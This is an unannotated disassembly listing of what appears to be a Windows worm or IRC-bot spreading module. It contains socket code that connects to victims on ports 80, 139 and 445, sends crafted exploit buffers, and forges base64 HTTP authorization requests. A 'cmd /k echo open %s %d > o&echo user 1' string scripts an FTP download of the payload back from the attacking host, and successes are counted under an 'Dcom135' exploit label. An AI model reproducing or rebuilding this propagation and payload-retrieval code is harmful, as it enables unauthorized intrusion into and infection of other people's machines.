		push	[ebp+var_34]
		lea	ecx, [ebp+var_28]
		push	[ebp+var_38]
		call	sub_40409D
		lea	ecx, [ebp+var_28]
		call	sub_4040AD
		lea	ecx, [ebp+var_38]
		call	sub_403F2D
		lea	ecx, [ebp+var_10]
		call	sub_403E94
		lea	ecx, [ebp+var_8]
		call	sub_403E94
		push	[ebp+var_24]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_28]
		call	sub_40409D
		lea	ecx, [ebp+var_10]
		call	sub_403F46
		lea	ecx, [ebp+var_28]
		call	sub_403F2D
		push	offset dword_4263F4
		lea	ecx, [ebp+var_8]
		call	sub_404080
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40409D
		lea	ecx, [ebp+var_8]
		call	sub_403F46
		lea	ecx, [ebp+var_10]
		call	sub_403F2D
		push	offset dword_4263F0
		lea	ecx, [ebp+var_10]
		call	sub_404080
		push	[ebp+var_4]
		lea	ecx, [ebp+var_10]
		push	[ebp+var_8]
		call	sub_40409D
		lea	ecx, [ebp+var_10]
		call	sub_403F46
		lea	ecx, [ebp+var_8]
		call	sub_403F2D
		push	offset dword_4263E4
		lea	ecx, [ebp+var_8]
		call	sub_404080
		push	[ebp+var_C]
		lea	ecx, [ebp+var_8]
		push	[ebp+var_10]
		call	sub_40409D
		lea	ecx, [ebp+var_8]
		call	sub_403F46
		lea	ecx, [ebp+var_10]
		call	sub_403F2D
		push	offset dword_4263E0
		lea	ecx, [ebp+var_48]
		call	sub_404080
		push	[ebp+var_4]
		lea	ecx, [ebp+var_48]
		push	[ebp+var_8]
		call	sub_40409D
		lea	ecx, [ebp+var_8]
		call	sub_403F2D
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		pop	esi
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx
		jmp	short loc_40446A
; ---------------------------------------------------------------------------


loc_40445C:				; CODE XREF: sub_404108+1Bj
					; sub_404108+29j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_48]
		mov	[eax], ecx
		mov	ecx, [ebp+var_44]
		mov	[eax+4], ecx


loc_40446A:				; CODE XREF: sub_404108+352j
		pop	edi
		pop	ebx
		leave
		retn
sub_404108	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40446E	proc near		; CODE XREF: sub_404532+A1p
					; sub_404532+C2p ...

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_210]
		and	[ebp+var_4], 0
		push	eax
		lea	eax, [ebp+var_10C]
		push	0
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		mov	[ebp+var_20C], esi
		mov	[ebp+var_210], edi
		mov	[ebp+var_8], 0Ah
		call	ds:dword_4211D0	; select
		cmp	eax, edi
		jnz	short loc_4044D5
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_4200E6	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_4044D9


loc_4044D5:				; CODE XREF: sub_40446E+54j
		xor	eax, eax
		jmp	short loc_4044E9
; ---------------------------------------------------------------------------


loc_4044D9:				; CODE XREF: sub_40446E+65j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	ds:dword_43A390	; recv


loc_4044E9:				; CODE XREF: sub_40446E+69j
		pop	edi
		pop	esi
		leave
		retn
sub_40446E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4044ED	proc near		; CODE XREF: sub_404532+81p
					; sub_404532+ABp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_8]
		call	ds:dword_43A374	; ntohl
		mov	[ebp+var_4], eax
		push	0
		lea	eax, [ebp+var_4]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43A3C8	; send
		cmp	eax, 4
		jz	short loc_404517
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_404517:				; CODE XREF: sub_4044ED+24j
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_43A3C8	; send
		sub	eax, [ebp+arg_8]
		neg	eax
		sbb	eax, eax
		inc	eax
		leave
		retn
sub_4044ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404532	proc near		; CODE XREF: sub_40460C+48p
					; seg000:00404A88p

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	ebx, [edi+41h]
		push	ebx
		mov	[ebp+var_4], ebx
		call	sub_415DA9
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_40455B
		xor	al, al
		jmp	loc_404607
; ---------------------------------------------------------------------------


loc_40455B:				; CODE XREF: sub_404532+20j
		push	ebx
		push	0
		push	esi
		call	sub_415550
		push	2Fh
		push	offset dword_426118
		push	esi
		call	sub_4155B0
		push	8
		lea	eax, [esi+31h]
		push	offset dword_426148
		push	eax
		mov	[esi+2Fh], di
		call	sub_4155B0
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_4155B0
		push	6
		add	ebx, edi
		push	offset dword_438FAC
		push	ebx
		call	sub_4155B0
		mov	ebx, [ebp+arg_0]
		push	85h
		push	offset dword_426090
		push	ebx
		call	sub_4044ED
		add	esp, 48h
		test	al, al
		jnz	short loc_4045C3


loc_4045BF:				; CODE XREF: sub_404532+B5j
		xor	bl, bl
		jmp	short loc_4045FE
; ---------------------------------------------------------------------------


loc_4045C3:				; CODE XREF: sub_404532+8Bj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40446E
		push	[ebp+var_4]
		push	esi
		push	ebx
		call	sub_4044ED
		add	esp, 1Ch
		test	al, al
		jz	short loc_4045BF
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	ebx
		call	sub_40446E
		add	esp, 10h
		mov	bl, 1


loc_4045FE:				; CODE XREF: sub_404532+8Fj
		push	esi
		call	sub_415E1D
		pop	ecx
		mov	al, bl


loc_404607:				; CODE XREF: sub_404532+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404532	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40460C	proc near		; CODE XREF: seg000:00404A6Ep

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_426154
		push	[ebp+arg_0]
		call	ds:dword_4211EC	; send
		cmp	eax, 48h
		jnz	short loc_404647
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_40446E
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_404647
		cmp	[ebp+var_20], 82h
		jz	short loc_40464B


loc_404647:				; CODE XREF: sub_40460C+1Bj
					; sub_40460C+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_40464B:				; CODE XREF: sub_40460C+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_404532
		add	esp, 0Ch
		leave
		retn
sub_40460C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40465E	proc near		; CODE XREF: sub_4046AA+2Dp

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_0]
		and	dword ptr [ebp+var_8+4], 0
		shl	eax, 3
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		fmul	ds:dbl_421240
		call	sub_415F6C
		and	dword ptr [ebp+var_8+4], 0
		mov	dword ptr [ebp+var_8], eax
		fild	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fst	[ebp+var_8]
		fmul	ds:dbl_421238
		fstp	[esp+10h+var_10]
		call	sub_415E4C
		fadd	st, st
		pop	ecx
		pop	ecx
		fadd	[ebp+var_8]
		call	sub_415F6C
		inc	eax
		leave
		retn
sub_40465E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4046AA	proc near		; CODE XREF: sub_40484C+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_420243
		call	sub_416438
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_404D21
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_40465E
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_4046EC
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_404C9C


loc_4046EC:				; CODE XREF: sub_4046AA+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_404809
		mov	ebx, [ebp+10h]


loc_4046FB:				; CODE XREF: sub_4046AA+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_404705
		push	3
		jmp	short loc_404717
; ---------------------------------------------------------------------------


loc_404705:				; CODE XREF: sub_4046AA+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_40470F
		push	2
		jmp	short loc_404717
; ---------------------------------------------------------------------------


loc_40470F:				; CODE XREF: sub_4046AA+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_404718
		push	1


loc_404717:				; CODE XREF: sub_4046AA+59j
					; sub_4046AA+63j
		pop	ebx


loc_404718:				; CODE XREF: sub_4046AA+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	ds:dbl_421250
		fstp	[esp+40h+var_40]
		call	sub_415F93
		pop	ecx
		pop	ecx
		call	sub_415F6C
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_404757
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_404757:				; CODE XREF: sub_4046AA+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_4047C5
		add	[ebp-18h], eax


loc_4047A9:				; CODE XREF: sub_4046AA+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, ds:byte_4261A0[eax]
		push	eax
		push	1
		call	sub_404B1E
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_4047A9


loc_4047C5:				; CODE XREF: sub_4046AA+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_4047E3
		push	dword ptr [ebp+14h]
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_404B77
		mov	[ebp-18h], edi


loc_4047E3:				; CODE XREF: sub_4046AA+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_4047FD
		sub	esi, [ebp-1Ch]


loc_4047EE:				; CODE XREF: sub_4046AA+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_404B1E
		dec	esi
		jnz	short loc_4047EE


loc_4047FD:				; CODE XREF: sub_4046AA+13Fj
		cmp	[ebp+10h], edi
		ja	loc_4046FB
		push	1
		pop	ebx


loc_404809:				; CODE XREF: sub_4046AA+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_404D21
		push	ds:dword_421248
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_404BCE
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_404D21
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_4046AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40484C	proc near		; CODE XREF: seg000:00404A51p
		mov	eax, offset loc_420260
		call	sub_416438
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_438F9C
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_4046AA
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_415DA9
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_404896
		xor	bl, bl
		jmp	short loc_4048DA
; ---------------------------------------------------------------------------


loc_404896:				; CODE XREF: sub_40484C+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_421258
		cmp	ecx, ebx
		jnz	short loc_4048A4
		mov	ecx, eax


loc_4048A4:				; CODE XREF: sub_40484C+54j
		cmp	[ebp+18h], ebx
		jz	short loc_4048AC
		mov	eax, [ebp+18h]


loc_4048AC:				; CODE XREF: sub_40484C+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_415A4A
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	ds:dword_43A3C8	; send
		cmp	eax, esi
		jz	short loc_4048D1
		xor	bl, bl
		jmp	short loc_4048D3
; ---------------------------------------------------------------------------


loc_4048D1:				; CODE XREF: sub_40484C+7Fj
		mov	bl, 1


loc_4048D3:				; CODE XREF: sub_40484C+83j
		push	edi
		call	sub_415E1D
		pop	ecx


loc_4048DA:				; CODE XREF: sub_40484C+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_404D21
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_404D21
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40484C	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 624h
		and	byte ptr [ebp-424h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-423h]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-424h]
		push	offset sub_42634C
		push	eax
		call	sub_4155B0
		add	esp, 0Ch
		mov	eax, offset aTilesoft_com ; "Tilesoft.com"
		push	eax
		push	eax
		push	ds:dword_438FBC
		push	dword ptr [ebp+8]
		call	sub_40A155
		pop	ecx
		push	eax
		push	offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-395h]
		push	400h
		push	eax
		call	sub_415A4A
		add	eax, 90h
		push	eax
		lea	eax, [ebp-424h]
		push	eax
		push	164h
		lea	eax, [ebp-24h]
		push	offset sub_4261E4
		push	eax
		call	sub_404108
		mov	ecx, [eax]
		xor	esi, esi
		mov	[ebp-8], ecx
		add	esp, 30h
		mov	eax, [eax+4]
		cmp	eax, esi
		mov	[ebp-4], eax
		jnz	short loc_4049AD
		xor	eax, eax
		jmp	loc_404B11
; ---------------------------------------------------------------------------


loc_4049AD:				; CODE XREF: seg000:004049A4j
		mov	[ebp-0Ch], esi


loc_4049B0:				; CODE XREF: seg000:00404AB0j
		test	esi, esi
		jnz	loc_404AB6
		push	6
		push	1
		push	2
		call	ds:dword_4211E0	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_404A9E
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	ds:dword_43A378	; ntohs
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	ds:dword_43A3B8	; inet_addr
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_43A320	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_404A93
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_404A5B
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_404D21
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_404D5D
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40484C
		add	esp, 1Ch
		jmp	short loc_404A90
; ---------------------------------------------------------------------------


loc_404A5B:				; CODE XREF: seg000:00404A19j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_404A75
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40460C
		jmp	short loc_404A8D
; ---------------------------------------------------------------------------


loc_404A75:				; CODE XREF: seg000:00404A65j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_404A93
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_404532


loc_404A8D:				; CODE XREF: seg000:00404A73j
		add	esp, 0Ch


loc_404A90:				; CODE XREF: seg000:00404A59j
		movzx	esi, al


loc_404A93:				; CODE XREF: seg000:00404A0Cj
					; seg000:00404A7Fj
		push	ebx
		call	ds:dword_43A410	; closesocket
		test	esi, esi
		jnz	short loc_404AA9


loc_404A9E:				; CODE XREF: seg000:004049C9j
		push	3E8h
		call	ds:dword_421060	; Sleep


loc_404AA9:				; CODE XREF: seg000:00404A9Cj
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_4049B0


loc_404AB6:				; CODE XREF: seg000:004049B2j
		lea	ecx, [ebp-8]
		call	sub_403F2D
		test	esi, esi
		jz	short loc_404B0F
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		add	eax, offset aDcom135 ; "Dcom135"
		push	eax
		push	offset dword_426410
		lea	eax, [ebp-624h]
		push	200h
		push	eax
		call	sub_415A4A
		lea	eax, [ebp-624h]
		push	eax
		call	sub_40B151
		mov	eax, [ebp+0B0h]
		add	esp, 18h
		imul	eax, 3Ch
		inc	ds:dword_427308[eax]
		lea	eax, dword_427308[eax]


loc_404B0F:				; CODE XREF: seg000:00404AC0j
		mov	eax, esi


loc_404B11:				; CODE XREF: seg000:004049A8j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_420224


loc_404B16:				; CODE XREF: sub_420224+3j
					; seg000:0042023Dj ...
		push	1
		call	sub_404D21
		retn
; END OF FUNCTION CHUNK	FOR sub_420224

; =============== S U B	R O U T	I N E =======================================



sub_404B1E	proc near		; CODE XREF: sub_4046AA+110p
					; sub_4046AA+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, ds:dword_421248
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_404B38
		call	sub_41FD90


loc_404B38:				; CODE XREF: sub_404B1E+13j
		test	ebx, ebx
		jbe	short loc_404B6F
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_404C9C
		test	al, al
		jz	short loc_404B6F
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_415550
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_404B6F:				; CODE XREF: sub_404B1E+1Cj
					; sub_404B1E+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_404B1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_404B77	proc near		; CODE XREF: sub_4046AA+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, ds:dword_421248
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_404B91
		call	sub_41FD90


loc_404B91:				; CODE XREF: sub_404B77+13j
		test	ebx, ebx
		jbe	short loc_404BC6
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_404C9C
		test	al, al
		jz	short loc_404BC6
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_4155B0
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_404BC6:				; CODE XREF: sub_404B77+1Cj
					; sub_404B77+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_404B77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404BCE	proc near		; CODE XREF: sub_4046AA+17Cp
					; sub_41FDEA+46p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_404BE6
		call	sub_41FFBC


loc_404BE6:				; CODE XREF: sub_404BCE+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_404BF8
		mov	esi, [ebp+arg_8]


loc_404BF8:				; CODE XREF: sub_404BCE+25j
		cmp	edi, ebx
		jnz	short loc_404C1A
		push	ds:dword_421248
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_404D92
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_404D92
		jmp	short loc_404C93
; ---------------------------------------------------------------------------


loc_404C1A:				; CODE XREF: sub_404BCE+2Cj
		test	esi, esi
		jbe	short loc_404C5D
		cmp	esi, eax
		jnz	short loc_404C5D
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_404C2E
		mov	eax, offset dword_421258


loc_404C2E:				; CODE XREF: sub_404BCE+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_404C5D
		push	1
		mov	ecx, edi
		call	sub_404D21
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_404C49
		mov	eax, offset dword_421258


loc_404C49:				; CODE XREF: sub_404BCE+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_404C93
; ---------------------------------------------------------------------------


loc_404C5D:				; CODE XREF: sub_404BCE+4Ej
					; sub_404BCE+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_404C9C
		test	al, al
		jz	short loc_404C93
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_404C77
		mov	eax, offset dword_421258


loc_404C77:				; CODE XREF: sub_404BCE+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_4155B0
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_404C93:				; CODE XREF: sub_404BCE+4Aj
					; sub_404BCE+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_404BCE	endp


; =============== S U B	R O U T	I N E =======================================



sub_404C9C	proc near		; CODE XREF: sub_4046AA+3Dp
					; sub_404B1E+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_404CAE
		call	sub_41FD90


loc_404CAE:				; CODE XREF: sub_404C9C+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_404CD7
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_404CD7
		cmp	al, 0FFh
		jz	short loc_404CD7
		cmp	edi, edx
		jnz	short loc_404D12
		dec	al
		push	edx
		mov	[ecx-1], al


loc_404CCC:				; CODE XREF: sub_404C9C+47j
		mov	ecx, esi
		call	sub_404D21


loc_404CD3:				; CODE XREF: sub_404C9C+4Bj
					; sub_404C9C+52j
		xor	al, al
		jmp	short loc_404D1C
; ---------------------------------------------------------------------------


loc_404CD7:				; CODE XREF: sub_404C9C+19j
					; sub_404C9C+20j ...
		cmp	edi, edx
		jnz	short loc_404CF0
		cmp	[esp+8+arg_4], dl
		jz	short loc_404CE5
		push	1
		jmp	short loc_404CCC
; ---------------------------------------------------------------------------


loc_404CE5:				; CODE XREF: sub_404C9C+43j
		cmp	ecx, edx
		jz	short loc_404CD3
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_404CD3
; ---------------------------------------------------------------------------


loc_404CF0:				; CODE XREF: sub_404C9C+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_404D0D
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_404D02
		cmp	eax, edi
		jnb	short loc_404D1A


loc_404D02:				; CODE XREF: sub_404C9C+60j
		push	1
		mov	ecx, esi
		call	sub_404D21
		jmp	short loc_404D12
; ---------------------------------------------------------------------------


loc_404D0D:				; CODE XREF: sub_404C9C+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_404D1A


loc_404D12:				; CODE XREF: sub_404C9C+28j
					; sub_404C9C+6Fj
		push	edi
		mov	ecx, esi
		call	sub_404DF9


loc_404D1A:				; CODE XREF: sub_404C9C+64j
					; sub_404C9C+74j
		mov	al, 1


loc_404D1C:				; CODE XREF: sub_404C9C+39j
		pop	edi
		pop	esi
		retn	8
sub_404C9C	endp


; =============== S U B	R O U T	I N E =======================================



sub_404D21	proc near		; CODE XREF: sub_4046AA+1Fp
					; sub_4046AA+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_404D4D
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_404D4D
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_404D46
		cmp	al, 0FFh
		jz	short loc_404D46
		dec	al
		mov	[ecx], al
		jmp	short loc_404D4D
; ---------------------------------------------------------------------------


loc_404D46:				; CODE XREF: sub_404D21+19j
					; sub_404D21+1Dj
		push	ecx
		call	sub_416457
		pop	ecx


loc_404D4D:				; CODE XREF: sub_404D21+8j
					; sub_404D21+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_404D21	endp


; =============== S U B	R O U T	I N E =======================================



sub_404D5D	proc near		; CODE XREF: seg000:00404A45p
					; sub_404EB6+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_404C9C
		test	al, al
		jz	short loc_404D8B
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_4155B0
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_404D8B:				; CODE XREF: sub_404D5D+12j
		mov	eax, esi
		pop	edi
		pop	esi
